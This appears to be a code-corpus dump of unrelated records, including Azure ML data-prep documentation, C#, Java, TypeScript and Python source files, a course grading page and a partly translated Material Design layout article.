and decisions about the appropriate data processing and cleaning steps necessary to improve data quality, before using it for modeling. Data scientists adept at this process of organizing and structuring data prior to performing more in-depth analysis can help drive better insights from larger amounts of data, and typically do it in less time. > The [Azure Machine Learning Data Prep SDK for Python](https://docs.microsoft.com/python/api/overview/azure/dataprep/intro?view=azure-dataprep-py) was designed to help you explore, cleanse, and transform data from machine learning workflows. Similar to many other data analytics processes, data wrangling is iterative. The process typically follows a set of generalized steps, beginning with data discovery and exploration, followed by data transformation tasks, such as restructuring, cleansing, and augmenting, and ending with validating and publishing to a resultant dataset for future use. ## Discover and explore Before using data for building models and performing deeper analysis, it is necessary to understand the dataset, what it contains, how it is structured, and what issues may exist within it. The discovery and exploration step uses data summarization and visualization techniques to audit the dataset, to gain a better understanding of data quality and structure and highlight important and interesting aspects of the dataset. The information derived from this step informs how you go about transforming data by providing the details required to process data before it is ready for modeling. This step begins with extracting the data in its raw form from the data source and using various techniques, such as data visualizations, data aggregation, and sorting, to describe and explore the data and uncover issues. The general quality of a dataset can be checked by: - Examining the number of records - Inspecting the number of attributes (or features as they are more commonly known in data science terms) - Reviewing the feature data types (nominal, ordinal, or continuous) - Checking features for and counting the number of missing values - Looking at how well-formed the data is (e.g., checking that column and line separators always correctly separate columns and lines in TSV or CSV files) - Checking for inconsistent data records, such as checking the range of allowable values for a feature (e.g., If the data contains student GPAs, check if the GPA is in the designated range, say 0.0 to 4.0) An excellent place to start is to inspect the data visually. In the Python code below, sample crime data is read into an [Azure ML DataPrep Dataflow class](https://docs.microsoft.com/python/api/azureml-dataprep/azureml.dataprep.dataflow?view=azure-ml-py), and then the first 5 records are displayed using the `head()` function on the Dataflow. ```python import pandas as pd import azureml.dataprep as dprep # Path for dataset file_crime_dirty = './data/crime-dirty.csv' # Read the crime data into a Dataflow crime_dirty = dprep.auto_read_file(path=file_crime_dirty) # Display the first 5 records crime_dirty.head(5) ``` ![The first 5 records of the crime_dirty DataFrame are displayed.](media/crime-dirty-head-5.png "Crime data") Inspecting the data contained within the dataset allows you to observe the types of data and some potential issues. For example, notice in the third record above, the `X Coordinate` field contains `NaN`, meaning the record contains a missing value. To help you quickly perform many of the essential quality checks and gain a better understanding of the properties of your dataset, the [Azure ML Data Prep SDK](https://docs.microsoft.com/python/api/overview/azure/ml/intro) offers **data profiles**. Data profiles help you glimpse into the column types and summary statistics of a dataset. They can be accessed by using the `get_profile()` method on a Dataflow. In the example below, we profile the data within the sample crime dataset. ```python # Profile the data crime_dirty.get_profile() ``` ![Output of the get_profile() method.](media/data-profiles-output.png "Data profiles") ## Transform Using data discovery and exploration, you gain a better understanding of your data. The transformation step of the data wrangling process allows you to address the issues found during the discovery step. The data processing and preparation that occurs during this step involves data restructuring, normalization and cleansing, and augmentation. Transformation is about reshaping raw data into a form that can be more quickly and accurately analyzed. ### Restructure The restructuring step is about organizing and integrating data collected from various sources. The purpose of this step is to make raw data derived from disparate sources and formats more consistent and accurate. Information revealed during the discovery and exploration step is used to restructure data in a way that allows combination, computation, and analysis to be conducted more easily. Rows may be appended, and columns and rows may be split or combined. ### Cleanse In the previous steps, you identified data quality issues, such as null or missing values, out of range values, and inconsistent data formatting. During the data cleansing step, you address these issues, performing tasks such as standardizing and normalizing values, correcting or removing corrupt or inaccurate records from the dataset, fixing typographical errors and handling null values. The goal of this step is to increase the overall quality of the data. ### Augment Augmenting is where you look at how additional data could be used to enrich your dataset. At this step, you evaluate how you can leverage data you already have to make the dataset better and consider what other information could better inform your decision-making process. ## Validate The validation step of the data wrangling process is about verifying the consistency and quality of data. Checks during this step can be strict or fuzzy and might include checking for uniform distribution of features that should be normally distributed and cross comparing data against validated datasets (e.g., ensuring state abbreviations or postal codes are valid) ## Publish The ultimate goal of data wrangling is to create a dataset that can be easily consumed by downstream processes and users. The wrangled data is published to a shared data store, such as Azure Data Lake Storage v2, where users and software can consume it for advanced analytics and machine learning. # Accessing data from various Azure services and working with AML datastores Azure Machine Learning (AML) service uses **[datastores](https://docs.microsoft.com/azure/machine-learning/service/how-to-access-data)** to read and write data to and from various Azure storage services. Datastores are references that point to Azure storage services, such as a blob container. Essentially, a datastore is an abstraction over an Azure storage service that stores the information required to connect to it. This abstraction simplifies the process of accessing data stored within the storage service. Using datastores, you to connect to the underlying storage service by name, and do not need to remember connection information and secrets used to connect to data sources. Also, datastores provide a storage service access mechanism that is independent of your [compute](https://docs.microsoft.com/azure/machine-learning/service/concept-compute-target) location. In Azure Machine Learning, the term **compute** (or **compute target**) refers to the machines or clusters that perform the computational steps in your machine learning pipeline. Compute location-independence means you can easily change your compute environment without changing your source code. Azure Machine Learning workflows ensure your datastore locations are accessible and made available to your compute context. Throughout this article, we examine how datastores allow data access from the supported Azure storage services. We also review the management of datastores within your AML workspace using the Azure Machine Learning SDK for Python. ## Supported Azure storage services Data is frequently stored in various formats and can be structured, semi-structured, or unstructured. AML service provides the flexibility to access multiple existing data sources by supporting the registration of the following Azure storage services as datastores: - [Azure Blob Container](https://docs.microsoft.com/azure/storage/blobs/storage-blobs-overview) - [Azure File Share](https://docs.microsoft.com/azure/storage/files/storage-files-introduction) - [Azure Data Lake](https://docs.microsoft.com/azure/data-lake-store/data-lake-store-overview) - [Azure Data Lake Gen2](https://docs.microsoft.com/azure/storage/blobs/data-lake-storage-introduction) - [Azure SQL Database](https://docs.microsoft.com/azure/sql-database/sql-database-technical-overview) - [Azure PostgreSQL](https://docs.microsoft.com/azure/postgresql/overview) - [Databricks File System](https://docs.azuredatabricks.net/user-guide/dbfs-databricks-file-system.html) > **Note**: Use of blob storage and blob datastores is the recommended approach, at this time. You can use either standard and premium storage, depending on your needs. Although more expensive, premium storage provides faster throughput speeds, which may help to improve performance during training runs, specifically if you are training against large data sets. The remaining sections of this article provide specific details about how to register and access data within each of the supported Azure storage services. ## Working with datastores To work with datastores in an AML workspace, you use the `Workspace` and `Datastore` classes in the [Azure Machine Learning SDK for Python](https://docs.microsoft.com/python/api/azureml-core/azureml.core.datastore(class)?view=azure-ml-py). To provide a clean environment for the examples that follow, we are using a new AML workspace. The new workspace is created using the [Azure Machine Learning SDK for Python](https://docs.microsoft.com/python/api/overview/azure/ml/intro?view=azure-ml-py), following the instructions provided in the [Environment Setup article](../intro/environment-setup.md#Option-3-Python-SDK) of this guide. > **Note**: You can also use an existing workspace by replacing `Workspace.create()` in the command below with `Workspace.from_config()` in a notebook within your existing workspace. Use the following command to create the new workspace from a Jupyter notebook, adding in your subscription ID: ```python import azureml.core from azureml.core import Workspace ws = Workspace.create(name='aml-workspace', subscription_id='<azure-subscription-id>', resource_group='aml-rg', create_resource_group=True, location='eastus2' ) ``` ![Output of the SDK Workspace.create() command above.](media/create-workspace-sdk.png "Create workspace") The workspace deployment process includes the creation of a new storage account, as you can see within the output from the command above. Within that storage account, both a blob container and file store are created and automatically registered as datastores in the workspace. The SDK supports the following categories of datastore operations: - List datastores - Get an individual datastore - Get or set the default datastore - Register a new datastore - Unregister a datastore - Upload and download data # Load, transform, and write data with Azure Machine Learning and the AML Data Prep SDK The [Azure Machine Learning (AML) Data Prep SDK](https://docs.microsoft.com/python/api/azureml-dataprep/azureml.dataprep?view=azure-ml-py) provides the core framework for loading, exploring, analyzing, and preparing data in Azure Machine Learning. Using the Data Prep SDK, you can read data from files and other data sources, apply transformations to those data, and write files to supported locations. In this article, we review the various Data Prep SDK methods for reading and writing data to and from multiple file types and data sources. Methods for performing common data transformations and manipulations are also covered. ## Supported data sources The Data Prep SDK supports data ingestion from multiple types of input data, including various file types and SQL data sources. The table below lists the supported file types, and the functions used to read them. The function names link to the relevant Data Prep SDK documentation for each method. | File type | Function | Description | | --------- | -------- | ----------- | | Auto-detect | [auto_read_file()](https://docs.microsoft.com/python/api/azureml-dataprep/azureml.dataprep?view=azure-ml-py&viewFallbackFrom=azure-dataprep-py#auto-read-file-path--filepath--include-path--bool---false-----azureml-dataprep-api-dataflow-dataflow) | Analyzes the file(s) at the specified path and returns a new Dataflow containing the operations required to read and parse them. | | CSV | [read_csv()](https://docs.microsoft.com/python/api/azureml-dataprep/azureml.dataprep?view=azure-ml-py#read-csv-path--filepath--separator--str--------header--azureml-dataprep-api-dataflow-promoteheadersmode----promoteheadersmode-constantgrouped--3---encoding--azureml-dataprep-api-engineapi-typedefinitions-fileencoding----fileencoding-utf8--0---quoting--bool---false--inference-arguments--azureml-dataprep-api-builders-inferencearguments---none--skip-rows--int---0--skip-mode--azureml-dataprep-api-dataflow-skipmode----skipmode-none--0---comment--str---none--include-path--bool---false--archive-options--azureml-dataprep-api--archiveoption-archiveoptions---none--infer-column-types--bool---false--verify-exists--bool---true-----azureml-dataprep-api-dataflow-dataflow) | Creates a new Dataflow with the operations required to read and parse CSV and other delimited text files (TSV, custom delimiters like semicolon, colon, etc.). | | Excel | [read_excel()](https://docs.microsoft.com/python/api/azureml-dataprep/azureml.dataprep#read-excel-path--filepath--sheet-name--str---none--use-column-headers--bool---false--inference-arguments--azureml-dataprep-api-builders-inferencearguments---none--skip-rows--int---0--include-path--bool---false--infer-column-types--bool---false--verify-exists--bool---true-----azureml-dataprep-api-dataflow-dataflow) | Creates a new Dataflow with the operations required to read Excel files. | | Fixed-width | [read_fwf()](https://docs.microsoft.com/python/api/azureml-dataprep/azureml.dataprep#read-fwf-path--filepath--offsets--typing-list-int---header--azureml-dataprep-api-dataflow-promoteheadersmode----promoteheadersmode-constantgrouped--3---encoding--azureml-dataprep-api-engineapi-typedefinitions-fileencoding----fileencoding-utf8--0---inference-arguments--azureml-dataprep-api-builders-inferencearguments---none--skip-rows--int---0--skip-mode--azureml-dataprep-api-dataflow-skipmode----skipmode-none--0---include-path--bool---false--infer-column-types--bool---false--verify-exists--bool---true-----azureml-dataprep-api-dataflow-dataflow) | Creates a new Dataflow with the operations required to read and parse fixed-width data. | | JSON | [read_json()](https://docs.microsoft.com/python/api/azureml-dataprep/azureml.dataprep?view=azure-dataprep-py#read-json-path--filepath--encoding--azureml-dataprep-api-engineapi-typedefinitions-fileencoding----fileencoding-utf8--0---flatten-nested-arrays--bool---false--include-path--bool---false-----azureml-dataprep-api-dataflow-dataflow) | Creates a new Dataflow with the operations required to read JSON files. | | Parquet | [read_parquet_file()](https://docs.microsoft.com/python/api/azureml-dataprep/azureml.dataprep?view=azure-ml-py#read-parquet-file-path--filepath--include-path--bool---false--verify-exists--bool---true-----azureml-dataprep-api-dataflow-dataflow) | Creates a new Dataflow with the operations required to read Parquet files. | | Text | [read_lines()](https://docs.microsoft.com/python/api/azureml-dataprep/azureml.dataprep#read-lines-path--filepath--header--azureml-dataprep-api-dataflow-promoteheadersmode----promoteheadersmode-none--0---encoding--azureml-dataprep-api-engineapi-typedefinitions-fileencoding----fileencoding-utf8--0---skip-rows--int---0--skip-mode--azureml-dataprep-api-dataflow-skipmode----skipmode-none--0---comment--str---none--include-path--bool---false--verify-exists--bool---true-----azureml-dataprep-api-dataflow-dataflow) | Creates a new Dataflow with the operations required to read text files and split them into lines. | | Compressed CSV | [read_csv()](https://docs.microsoft.com/python/api/azureml-dataprep/azureml.dataprep?view=azure-ml-py#read-csv-path--filepath--separator--str--------header--azureml-dataprep-api-dataflow-promoteheadersmode----promoteheadersmode-constantgrouped--3---encoding--azureml-dataprep-api-engineapi-typedefinitions-fileencoding----fileencoding-utf8--0---quoting--bool---false--inference-arguments--azureml-dataprep-api-builders-inferencearguments---none--skip-rows--int---0--skip-mode--azureml-dataprep-api-dataflow-skipmode----skipmode-none--0---comment--str---none--include-path--bool---false--archive-options--azureml-dataprep-api--archiveoption-archiveoptions---none--infer-column-types--bool---false--verify-exists--bool---true-----azureml-dataprep-api-dataflow-dataflow) | Creates a new Dataflow with the operations required to extract, read and parse CSV and other delimited text files from a ZIP archive. | The Data Prep SDK also supports the following non-file data sources: | Data Source | Function | Description | | ----------- | -------- | ----------- | | Pandas DataFrame | [read_pandas_dataframe()](https://docs.microsoft.com/python/api/azureml-dataprep/azureml.dataprep?view=azure-ml-py#read-pandas-dataframe) | Creates a new Dataflow based on the contents of a given pandas DataFrame. | | Parquet Dataset | [read_parquet_dataset()](https://docs.microsoft.com/python/api/azureml-dataprep/azureml.dataprep?view=azure-ml-py#read-parquet-dataset-path--filepath--include-path--bool---false-----azureml-dataprep-api-dataflow-dataflow) | Creates a new Dataflow with the operations required to read Parquet Datasets. | | PostgreSQL | [read_postgresql()](https://docs.microsoft.com/python/api/azureml-dataprep/azureml.dataprep?view=azure-ml-py#read-postgresql-data-source--databasesource--query--str-----azureml-dataprep-api-dataflow-dataflow) | Creates a new Dataflow that can read data from a PostgreSQL database by executing the query specified. | | SQL | [read_sql()](https://docs.microsoft.com/python/api/azureml-dataprep/azureml.dataprep?view=azure-ml-py#read-sql-data-source--databasesource--query--str-----azureml-dataprep-api-dataflow-dataflow) | Creates a new Dataflow that can read data from a Microsoft SQL or Azure SQL database by executing the query specified. | ## The Dataflow class An important concept to understand as you begin working with data using the AML Data Prep SDK is the abstraction provided by the [Dataflow class](https://docs.microsoft.com/python/api/azureml-dataprep/azureml.dataprep.dataflow?view=azure-ml-py). Similar to a resilient distributed dataset (RDD) in Spark, a `Dataflow` represents an optimized execution plan for a series of lazily-loaded, immutable operations on the underlying data. "Lazily-loaded" means that data is not read from the source until specific action methods are called, such as `head()`, `to_pandas_dataframe()`, `get_profile()` or the write methods. This approach allows AML to optimize data retrieval based on the transformation operations or steps added to the `Dataflow`. Calling an action method on the Dataflow results in the execution of all defined operations. The resultant dataset is a [Pandas DataFrame](https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.html). ## Load data To load data with the Data Prep SDK, use the `read_*` methods listed above. Each of these methods returns a `Dataflow` object that initially contains the steps required to read and parse data from the target data source. As you apply transformations to the data retrieved from a data source, steps are added to the `Dataflow`. When an action method, such as `write_to_csv()` is finally called, the Data Prep SDK determines the most efficient way to execute all of the steps on the `Dataflow` and then runs those steps. ## Transform data The Data Prep SDK offers numerous methods to help with transforming or wrangling data. These include functions that simplify adding columns, filtering out unwanted rows or columns, and imputing missing values. Transformation is about reshaping raw data into a form that can be more quickly and accurately analyzed. ## Write data The Data Prep SDK enables writing data out at any point in a Dataflow. These writes are added as steps to the resulting Dataflow and will be executed every time the Dataflow is executed. Since there are no limitations to how many write steps there are in a pipeline, this makes it easy to write out intermediate results for troubleshooting or to be picked up by other pipelines.
C#
UTF-8
2,497
2.578125
3
[]
no_license
using Core.UsuallyCommon.Database; using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Reflection; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace Core.GeneratorWindows { public partial class ColumnSelectForm : Form { public List<Column> datasource; public ColumnSelectForm(string tableName , List<Column> columns) { datasource = columns; InitializeComponent(); groupColumns.Text = string.Format("{0} Columns", tableName); DataBind(); } public void DataBind() { this.dataGridViewSelect.DataSource = datasource; this.dataGridViewSelect.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.AllCells; } private void tselectAll_Click(object sender, EventArgs e) { this.dataGridViewSelect.DataSource = null; foreach (var item in datasource) { item.IsSelect = false; } DataBind(); } private void tcansel_Click(object sender, EventArgs e) { this.DialogResult = System.Windows.Forms.DialogResult.Cancel; } private void treverse_Click(object sender, EventArgs e) { this.dataGridViewSelect.DataSource = null; foreach (var item in datasource) { item.IsSelect = !item.IsSelect; } DataBind(); } private void tok_Click(object sender, EventArgs e) { dataGridViewSelect.EndEdit(); try { for (int i = 0; i < this.datasource.Count; i++)//得到总行数并在之内循环 { Column col = this.datasource[i]; PropertyInfo[] piar = col.GetType().GetProperties(); foreach (PropertyInfo pi in piar) { col.GetType().GetProperty(pi.Name).SetValue(col, Convert.ChangeType(dataGridViewSelect.Rows[i].Cells[pi.Name].Value, dataGridViewSelect.Rows[i].Cells[pi.Name].ValueType), null); } } } catch (Exception ex) { throw ex; } this.DialogResult = System.Windows.Forms.DialogResult.OK; } } }
Java
UTF-8
1,361
2.75
3
[]
no_license
package entities; import javax.persistence.*; import java.util.HashSet; import java.util.Set; @Entity public class Student { @Id @GeneratedValue Long id; String first_name; String last_name; @ManyToMany(cascade = CascadeType.ALL) @JoinTable(name = "student_subject", joinColumns = @JoinColumn(name = "student_id", referencedColumnName = "id"), inverseJoinColumns = @JoinColumn(name = "subject_id", referencedColumnName = "id")) private Set<Subject> subjects; public Long getId() { return id; } public void setId(Long id) { this.id = id; } public String getFirst_name() { return first_name; } public void setFirst_name(String first_name) { this.first_name = first_name; } public String getLast_name() { return last_name; } public void setLast_name(String last_name) { this.last_name = last_name; } public Set<Subject> getSubjects() { return subjects; } public void setSubjects(Set<Subject> subjects) { this.subjects = subjects; } // public Student(String first_name, String last_name, Set<Subject> subjects) { // // this.first_name = first_name; // this.last_name = last_name; // this.subjects = new HashSet<Subject>(subjects); // // } }
Java
UTF-8
2,015
2.453125
2
[]
no_license
package org.ht.hprim.parser; import org.ht.hprim.parser.HPRIMSDelimiters; import static org.junit.Assert.*; import java.io.IOException; import org.junit.Test; public class HPRIMSDelimitersTest { @Test public void testSetGetDelimitersTrue() throws IOException { char[] toTest = new char[]{'a', 'b', 'c', 'd', 'e'}; HPRIMSDelimiters testdel = new HPRIMSDelimiters(); testdel.setDelimiters(toTest); assertArrayEquals(toTest, testdel.getDelimiters()); } @Test public void testSetGetDelimitersFalse() { char[] toTest = new char[]{'a', 'b', 'b', 'd', 'e'}; HPRIMSDelimiters testdel = new HPRIMSDelimiters(); boolean error = false; try { testdel.setDelimiters(toTest); } catch (IOException e) { error = true; } assertTrue(error); } @Test public void testGetDelimiter1() throws IOException { char[] toTest = new char[]{'a', 'b', 'c', 'd', 'e'}; HPRIMSDelimiters testdel = new HPRIMSDelimiters(); testdel.setDelimiters(toTest); assertEquals('a', testdel.getDelimiter1()); } @Test public void testGetDelimiter2() throws IOException { char[] toTest = new char[]{'a', 'b', 'c', 'd', 'e'}; HPRIMSDelimiters testdel = new HPRIMSDelimiters(); testdel.setDelimiters(toTest); assertEquals('b', testdel.getDelimiter2()); } @Test public void testGetDelimiter3() throws IOException { char[] toTest = new char[]{'a', 'b', 'c', 'd', 'e'}; HPRIMSDelimiters testdel = new HPRIMSDelimiters(); testdel.setDelimiters(toTest); assertEquals('e', testdel.getDelimiter3()); } @Test public void testGetRepet() throws IOException { char[] toTest = new char[]{'a', 'b', 'c', 'd', 'e'}; HPRIMSDelimiters testdel = new HPRIMSDelimiters(); testdel.setDelimiters(toTest); assertEquals('c', testdel.getRepet()); } @Test public void testGetEchap() throws IOException { char[] toTest = new char[]{'a', 'b', 'c', 'd', 'e'}; HPRIMSDelimiters testdel = new HPRIMSDelimiters(); testdel.setDelimiters(toTest); assertEquals('d', testdel.getEchap()); } }
TypeScript
UTF-8
576
2.546875
3
[]
no_license
import { SECRET_KEY } from "./../config"; import jwt from "jsonwebtoken"; export const checkAuth = (context: any) => { const authHeader = context.request.headers.authorization; if (authHeader) { const token = authHeader.split("Bearer ")[1]; if (token) { try { const user = jwt.verify(token, SECRET_KEY); return user; } catch (err) { throw new Error("Invalid/Expired Token"); } } throw new Error("Authentication token must be 'Bearer [token]"); } throw new Error("Authentication header must be provided"); };
Python
UTF-8
6,859
2.609375
3
[]
no_license
import os import numpy as np import pandas as pd import sklearn.metrics import matplotlib.pyplot as plt from sklearn.metrics import confusion_matrix from sklearn.metrics import precision_recall_curve from sklearn.metrics import plot_precision_recall_curve def eval(pred_path): pred_df = pd.read_csv(pred_path) # test samples only pred_df = pred_df[pred_df["split"]=="test"] # eg. 6_music_presence label_key = pred_df.columns[2] # print(pred_df[label_key]) labels = pred_df[label_key] #print("np.sum(labels): ", np.sum(labels)) print(pred_path, sum(labels)/len(labels)) ratio = np.sum(labels) / len(labels) preds = pred_df["prediction"] precision, recall, _ = precision_recall_curve(labels, preds) TPs, FPs, FNs = confusion_matrix_coarse(labels, preds) auprc = sklearn.metrics.average_precision_score(labels, preds) return label_key, TPs, FPs, FNs, auprc, ratio, precision, recall def get_svm_results(pred_dir="../../svm_prediction", feat_type="_"): non_stc = {} with_stc = {} for filename in sorted(os.listdir(pred_dir)): print(filename) if ".csv" not in filename: continue path = "{}/{}".format(pred_dir, filename) label_key, TPs, FPs, FNs, auprc, ratio, precision, recall = eval(path) dic = { "TPs" : TPs, "FPs" : FPs, "FNs" : FNs, "auprc" : auprc, "ratio" : ratio, "precision" : precision, "recall" : recall, } # only audio feature if "non_" in filename and feat_type in filename: non_stc[label_key] = dic # audio + stc feature elif "stc_" in filename and feat_type in filename: with_stc[label_key] = dic return non_stc, with_stc def show_results(pred_dir="../../svm_prediction", num_class=8, feat_type="_"): non_stc, with_stc = get_svm_results(pred_dir, feat_type) classes = sorted(list(non_stc.keys())) stc_precision = [] stc_recall = [] print(with_stc) for c in classes: print(c) print("Only Audio ::", non_stc[c]) print("STC + Audio ::", with_stc[c]) print('-------------------------------------------------------------------------------') stc_precision.append(with_stc[c]['precision']) stc_recall.append(with_stc[c]['recall']) # plot bar graph non_auprc = [d["auprc"] for d in non_stc.values()] stc_auprc = [d["auprc"] for d in with_stc.values()] non_ratio = [d["ratio"] for d in non_stc.values()] stc_ratio = [d["ratio"] for d in with_stc.values()] non_avg = np.array(non_auprc) @ np.array(non_ratio).T print("weighted average for non-stc:", non_avg) stc_avg = np.array(stc_auprc) @ np.array(stc_ratio).T print("weighted average for stc: ", stc_avg) non_list = [[i+1, non_auprc[i]] for i in range(len(classes))] stc_list = [[i+1, stc_auprc[i]] for i in range(len(classes))] # add weighted average non_list.append([9, non_avg]) stc_list.append([9, stc_avg]) classes.append("Weighted Average") for i in range(8): plt.plot(stc_recall[i], stc_precision[i], lw=2, label='{} ({})'.format(classes[i], str(stc_auprc[i])[:5])) plt.xlabel("recall") plt.ylabel("precision") plt.legend(loc="best") plt.title("precision vs. recall curve") plt.show() x1,y1 = zip(*non_list) x2,y2 = zip(*stc_list) plt.bar(np.array(x1)-0.15, y1, width = 0.3) plt.bar(np.array(x2)+0.15, y2, width = 0.3) plt.xticks(list(range(1, len(classes)+ 1)), classes, size='smaller', rotation=20) plt.title("AURPC for Coarse Classes ({})".format(feat_type, non_avg, stc_avg)) plt.xlabel("Coarse Classes") plt.ylabel("AUPRC") plt.legend(["Only Audio Features", "STC + Audio Features"]) plt.show() # cite: https://github.com/sonyc-project/dcase2020task5-uststc-baseline.git def confusion_matrix_coarse(y_true, y_pred): """ Counts overall numbers of true positives (TP), false positives (FP), and false negatives (FN) in the predictions of a system, for a single Boolean attribute, in a dataset of N different samples. Parameters ---------- y_true: array of bool, shape = [n_samples,] One-hot encoding of true presence for a given coarse tag. y_true[n] is equal to 1 if the tag is present in the sample. y_pred: array of bool, shape = [n_samples,] One-hot encoding of predicted presence for a given coarse tag. y_pred[n] is equal to 1 if the tag is present in the sample. Returns ------- TP: int Number of true positives. FP: int Number of false positives. FN: int Number of false negatives. """ cm = confusion_matrix(y_true, y_pred) FP = cm[0, 1] FN = cm[1, 0] TP = cm[1, 1] return TP, FP, FN if __name__ == '__main__': #print(get_svm_results()) #show_results("../../svm_prediction", feat_type="") # show_results("../../prediction2.0", feat_type="MFCCnorm_SVMrbf") # show_results("../../prediction2.0", feat_type="MFCCnorm_SVMpoly") #show_results("../../prediction2.0", feat_type="log") #show_results("../../predictions", feat_type="logfbank_long_logistic") #show_results("../../predictions", feat_type="logfbank_long_NMF_logisticReg") #show_results("../../predictions", feat_type="logfbank_long_PCA_logisticReg") #show_results("../../predictions", feat_type="logfbank_short_NMF_logisticReg") #show_results("../../predictions", feat_type="logfbank_short_PCA_logisticReg") #show_results("../../predictions", feat_type="mfcc_long_logisticReg") #show_results("../../predictions", feat_type="mfcc_long_NMF_logisticReg") #show_results("../../predictions", feat_type="mfcc_long_PCA_logisticReg") #show_results("../../predictions", feat_type="mfcc_short_NMF_logisticReg") #show_results("../../predictions", feat_type="mfcc_short_PCA_logisticReg") #show_results("../../predictions", feat_type="logfbank_long_decisionTree") #show_results("../../predictions", feat_type="logfbank_long_NMF_decisionTree") show_results("../../predictions", feat_type="logfbank_long_PCA_decisionTree") # show_results("../../predictions", feat_type="logfbank_short_NMF_decisionTree") #show_results("../../predictions", feat_type="logfbank_short_PCA_decisionTree") #show_results("../../predictions", feat_type="mfcc_long_decisionTree") #show_results("../../predictions", feat_type="mfcc_long_NMF_logisticReg") #show_results("../../predictions", feat_type="mfcc_long_PCA_logisticReg") #show_results("../../predictions", feat_type="mfcc_short_NMF_logisticReg") #show_results("../../predictions", feat_type="mfcc_short_PCA_logisticReg")
Java
UTF-8
1,698
1.726563
2
[ "Apache-2.0" ]
permissive
/* * Copyright (c) 2012. Piraso Alvin R. de Leon. All Rights Reserved. * * See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The Piraso licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.piraso.server.service; import org.piraso.api.Preferences; import org.piraso.api.entry.Entry; import java.io.IOException; /** * Defines an interface for a response logger service. */ public interface ResponseLoggerService { public User getUser(); public String getId(); public Long getGlobalId(); public String getWatchedAddr(); public boolean isWatched(String remoteAddr); public Preferences getPreferences(); public void start() throws Exception; public void stop() throws IOException; public boolean isAlive(); public boolean isForcedStopped(); public void stopAndWait(long timeout) throws InterruptedException, IOException; public void log(Entry entry) throws IOException; public void addStopListener(StopLoggerListener listener); public void removeStopListener(StopLoggerListener listener); public void fireStopEvent(StopLoggerEvent event); }
Markdown
UTF-8
795
3.046875
3
[ "MIT" ]
permissive
--- title: Grading --- - *Clicker-Based Class Exercises (10%)* : Will occur regularly, and will be **group** work. They will typically be pencil-and-paper exercises that must be completed without the use of a computer. **You need to acquire a** [clicker](http://acms.ucsd.edu/faculty/clickers/) clicker for this. - *Homework Assignments (60%)* : About 5 mainly programming, done in groups of 2-3. Will be assigned approximately every two weeks, and instructions on turning them in will be posted with each assignment. You have a total of *four late days* that you can use throughout the quarter as you need them, where a late day means anything between 1 second and 23 hours 59 minutes and 59 seconds past a deadline. - *Final (30%)* : Take home, do alone.
Python
UTF-8
2,261
4.5
4
[]
no_license
# string_exercises.py # # # ip - 4/18 ########################## ### Uppercase a String ### ########################## ''' string = str(input("Enter a string... ")).upper() print(string) ''' ########################### ### Capitalize a String ### ########################### ''' string = str(input("Enter a string... ")).capitalize() print(string) ''' ######################## ### Reverse a String ### ######################## ''' **Version 1** def rev_string(): word = (input("Enter a word... ")) counter = -1 total_length = (len(word) * -1) ret_val = "" while counter >= total_length: ret_val = ret_val + word[counter] counter = counter - 1 return ret_val print(rev_string()) ''' ''' **Version 2** def rev_string(): word = input("Enter a word...") length = len(word) - 1 counter = 0 ret_val = "" while length >= counter: ret_val = ret_val + word[length] length = length - 1 return ret_val print(rev_string()) ''' ################# ### Leetspeak ### ################# ''' def leetspeak(): paragraph = input("Enter a paragraph: ") ret_val = "" for letter in paragraph: if letter == "A": ret_val = ret_val + "4" elif letter == "E": ret_val = ret_val + "3" elif letter == "G": ret_val = ret_val + "6" elif letter == "I": ret_val = ret_val + "1" elif letter == "O": ret_val = ret_val + "0" elif letter == "S": ret_val = ret_val + "5" elif letter == "T": ret_val = ret_val + "7" else: ret_val = ret_val + letter return ret_val print(leetspeak()) ''' ######################## ### Long-long Vowels ### ######################## def long_vowel(): word = input("Enter word: ") ret_val = "" count = 0 for char in word: if char == word[count + 1]: #print("yes") ret_val += char * 5 elif char == word[count - 1]: #print("no") count += 1 continue else: ret_val = ret_val + char count += 1 return ret_val print(long_vowel())
Markdown
UTF-8
18,775
3.265625
3
[]
no_license
<div class="article__intro"> [en]: <> (Responsive layout grid) # 响应式布局网格 [en]: <> (The Material Design responsive layout grid adapts to screen size and orientation, ensuring consistency across layouts.) 译文 <nav> [en]: <> (Columns, gutters, and margins) [en]: <> (Grid customization) [en]: <> (Breakpoints) [en]: <> (Grid behavior) [en]: <> (UI regions) [en]: <> (Whiteframes) * [译文](#columns-gutters-margins) * [译文](#grid-customization) * [译文](#breakpoints) * [译文](#grid-behavior) * [译文](#ui-regions) * [译文](#whiteframes) </nav></div><div class="article__body"> [en]: <> (Columns, gutters, and margins) <h2 id="columns-gutters-margins">译文</h2> [en]: <> (The Material Design layout grid is made up of three elements: columns, gutters, and margins.) 译文 <figure> ![]({assets_path}/layout/responsive-layout-grid/layout-responsive-columns-margins-gutters.png) <figcaption> [en]: <> (Columns) [en]: <> (Gutters) [en]: <> (Margins) 1. 译文 2. 译文 3. 译文 </figcaption></figure> [en]: <> (Columns) ### 译文 [en]: <> (Content is placed in the areas of the screen that contain columns.) 译文 [en]: <> (Column width is defined using percentages, rather than fixed values, to allow content to flexibly adapt to any screen size. The number of columns displayed in the grid is determined by the breakpoint range \(a range of predetermined screen sizes\) at which a screen is viewed, whether it’s a breakpoint for mobile, tablet, or another size.) 译文 <figure> ![]({assets_path}/layout/responsive-layout-grid/layout-responsive-columns-360.png) <figcaption> [en]: <> (On mobile, at a breakpoint of 360dp, this layout grid uses 4 columns.) 译文 </figcaption></figure><figure> ![]({assets_path}/layout/responsive-layout-grid/layout-responsive-columns-600.png) <figcaption> [en]: <> (On tablet, at a breakpoint of 600dp, this layout grid uses 8 columns.) 译文 </figcaption></figure> [en]: <> (Gutters) ### 译文 [en]: <> (Gutters are the spaces between columns. They help separate content.) 译文 [en]: <> (Gutter widths are fixed values at each breakpoint range. To better adapt to the screen, gutter width can change at different breakpoints. Wider gutters are more appropriate for larger screens, as they create more whitespace between 